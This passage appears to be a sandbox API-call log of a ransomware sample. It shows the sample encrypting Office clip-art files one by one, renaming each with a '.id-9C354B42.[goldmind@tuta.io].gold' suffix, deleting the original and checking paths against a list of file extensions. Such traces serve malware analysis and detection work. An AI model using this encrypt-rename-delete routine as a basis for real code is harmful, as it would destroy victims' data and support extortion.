SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.122] SetEndOfFile (hFile=0x364) returned 1 [0110.123] CloseHandle (hObject=0x364) returned 1 [0110.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0110.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.156] lstrlenW (lpString=".doc") returned 4 [0110.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.156] lstrlenW (lpString=".docx") returned 5 [0110.156] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0110.156] lstrlenW (lpString=".pdf") returned 4 [0110.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString=".xls") returned 4 [0110.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.157] lstrlenW (lpString=".xlsx") returned 5 [0110.157] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0110.157] lstrlenW (lpString=".ppt") returned 4 [0110.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.157] lstrlenW (lpString=".zip") returned 4 [0110.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.157] lstrlenW (lpString=".rar") returned 4 [0110.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString=".bz2") returned 4 [0110.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString=".7z") returned 3 [0110.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.157] lstrlenW (lpString=".dbf") returned 4 [0110.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.157] lstrlenW (lpString=".1cd") returned 4 [0110.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.157] lstrlenW (lpString=".jpg") returned 4 [0110.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.157] lstrlenW (lpString=".doc") returned 4 [0110.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString=".docx") returned 5 [0110.157] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0110.157] lstrlenW (lpString=".pdf") returned 4 [0110.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString=".xls") returned 4 [0110.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.157] lstrlenW (lpString=".xlsx") returned 5 [0110.157] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0110.157] lstrlenW (lpString=".ppt") returned 4 [0110.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.157] lstrlenW (lpString=".zip") returned 4 [0110.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.157] lstrlenW (lpString=".rar") returned 4 [0110.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString=".bz2") returned 4 [0110.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.157] lstrlenW (lpString=".7z") returned 3 [0110.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.157] lstrlenW (lpString=".dbf") returned 4 [0110.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.158] lstrlenW (lpString=".1cd") returned 4 [0110.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0110.158] lstrlenW (lpString=".jpg") returned 4 [0110.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.158] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.158] lstrlenW (lpString="J0152882.WMF") returned 12 [0110.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0110.158] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=9072) returned 1 [0110.158] CloseHandle (hObject=0x3c8) returned 1 [0110.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 0x20 [0110.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0110.159] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.159] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.160] GetLastError () returned 0x0 [0110.160] ReadFile (in: hFile=0x3c8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2370, lpOverlapped=0x0) returned 1 [0110.177] WriteFile (in: hFile=0x3ac, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0110.178] ReadFile (in: hFile=0x3c8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.178] WriteFile (in: hFile=0x3ac, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.178] SetEndOfFile (hFile=0x3ac) returned 1 [0110.178] CloseHandle (hObject=0x3ac) returned 1 [0110.178] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.178] SetEndOfFile (hFile=0x3c8) returned 1 [0110.180] CloseHandle (hObject=0x3c8) returned 1 [0110.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0110.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.181] lstrlenW (lpString=".doc") returned 4 [0110.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString=".docx") returned 5 [0110.181] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.181] lstrlenW (lpString=".pdf") returned 4 [0110.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString=".xls") returned 4 [0110.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.181] lstrlenW (lpString=".xlsx") returned 5 [0110.181] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.181] lstrlenW (lpString=".ppt") returned 4 [0110.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.181] lstrlenW (lpString=".zip") returned 4 [0110.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.181] lstrlenW (lpString=".rar") returned 4 [0110.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString=".bz2") returned 4 [0110.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString=".7z") returned 3 [0110.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.181] lstrlenW (lpString=".dbf") returned 4 [0110.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.181] lstrlenW (lpString=".1cd") returned 4 [0110.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.181] lstrlenW (lpString=".jpg") returned 4 [0110.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.181] lstrlenW (lpString=".doc") returned 4 [0110.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString=".docx") returned 5 [0110.181] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.181] lstrlenW (lpString=".pdf") returned 4 [0110.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.181] lstrlenW (lpString=".xls") returned 4 [0110.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.181] lstrlenW (lpString=".xlsx") returned 5 [0110.182] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.182] lstrlenW (lpString=".ppt") returned 4 [0110.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.182] lstrlenW (lpString=".zip") returned 4 [0110.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.182] lstrlenW (lpString=".rar") returned 4 [0110.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.182] lstrlenW (lpString=".bz2") returned 4 [0110.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.182] lstrlenW (lpString=".7z") returned 3 [0110.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.182] lstrlenW (lpString=".dbf") returned 4 [0110.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.182] lstrlenW (lpString=".1cd") returned 4 [0110.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0110.182] lstrlenW (lpString=".jpg") returned 4 [0110.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.182] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.182] lstrlenW (lpString="J0152890.WMF") returned 12 [0110.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0110.220] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1940) returned 1 [0110.220] CloseHandle (hObject=0x198) returned 1 [0110.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 0x20 [0110.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0110.230] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.230] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0110.231] GetLastError () returned 0x0 [0110.231] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x794, lpOverlapped=0x0) returned 1 [0110.242] WriteFile (in: hFile=0x180, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0110.245] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.245] WriteFile (in: hFile=0x180, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.245] SetEndOfFile (hFile=0x180) returned 1 [0110.245] CloseHandle (hObject=0x180) returned 1 [0110.245] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.245] SetEndOfFile (hFile=0x198) returned 1 [0110.247] CloseHandle (hObject=0x198) returned 1 [0110.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0110.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.248] lstrlenW (lpString=".doc") returned 4 [0110.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString=".docx") returned 5 [0110.248] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0110.248] lstrlenW (lpString=".pdf") returned 4 [0110.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString=".xls") returned 4 [0110.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.248] lstrlenW (lpString=".xlsx") returned 5 [0110.248] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0110.248] lstrlenW (lpString=".ppt") returned 4 [0110.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.248] lstrlenW (lpString=".zip") returned 4 [0110.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.248] lstrlenW (lpString=".rar") returned 4 [0110.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString=".bz2") returned 4 [0110.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString=".7z") returned 3 [0110.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.248] lstrlenW (lpString=".dbf") returned 4 [0110.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.248] lstrlenW (lpString=".1cd") returned 4 [0110.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.248] lstrlenW (lpString=".jpg") returned 4 [0110.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.248] lstrlenW (lpString=".doc") returned 4 [0110.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.248] lstrlenW (lpString=".docx") returned 5 [0110.248] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0110.248] lstrlenW (lpString=".pdf") returned 4 [0110.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.249] lstrlenW (lpString=".xls") returned 4 [0110.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.249] lstrlenW (lpString=".xlsx") returned 5 [0110.249] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0110.249] lstrlenW (lpString=".ppt") returned 4 [0110.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.249] lstrlenW (lpString=".zip") returned 4 [0110.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.249] lstrlenW (lpString=".rar") returned 4 [0110.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.249] lstrlenW (lpString=".bz2") returned 4 [0110.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.249] lstrlenW (lpString=".7z") returned 3 [0110.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.249] lstrlenW (lpString=".dbf") returned 4 [0110.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.249] lstrlenW (lpString=".1cd") returned 4 [0110.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0110.249] lstrlenW (lpString=".jpg") returned 4 [0110.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.249] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.249] lstrlenW (lpString="J0153047.WMF") returned 12 [0110.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.971] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=33068) returned 1 [0110.971] CloseHandle (hObject=0x3b8) returned 1 [0110.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 0x20 [0111.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.054] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.054] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.058] GetLastError () returned 0x0 [0111.058] ReadFile (in: hFile=0x19c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x812c, lpOverlapped=0x0) returned 1 [0111.063] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x8130, lpOverlapped=0x0) returned 1 [0111.064] ReadFile (in: hFile=0x19c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.064] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.064] SetEndOfFile (hFile=0x194) returned 1 [0111.064] CloseHandle (hObject=0x194) returned 1 [0111.064] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.064] SetEndOfFile (hFile=0x19c) returned 1 [0111.068] CloseHandle (hObject=0x19c) returned 1 [0111.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0111.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.103] lstrlenW (lpString="C:\\Program Files\\Microsoft 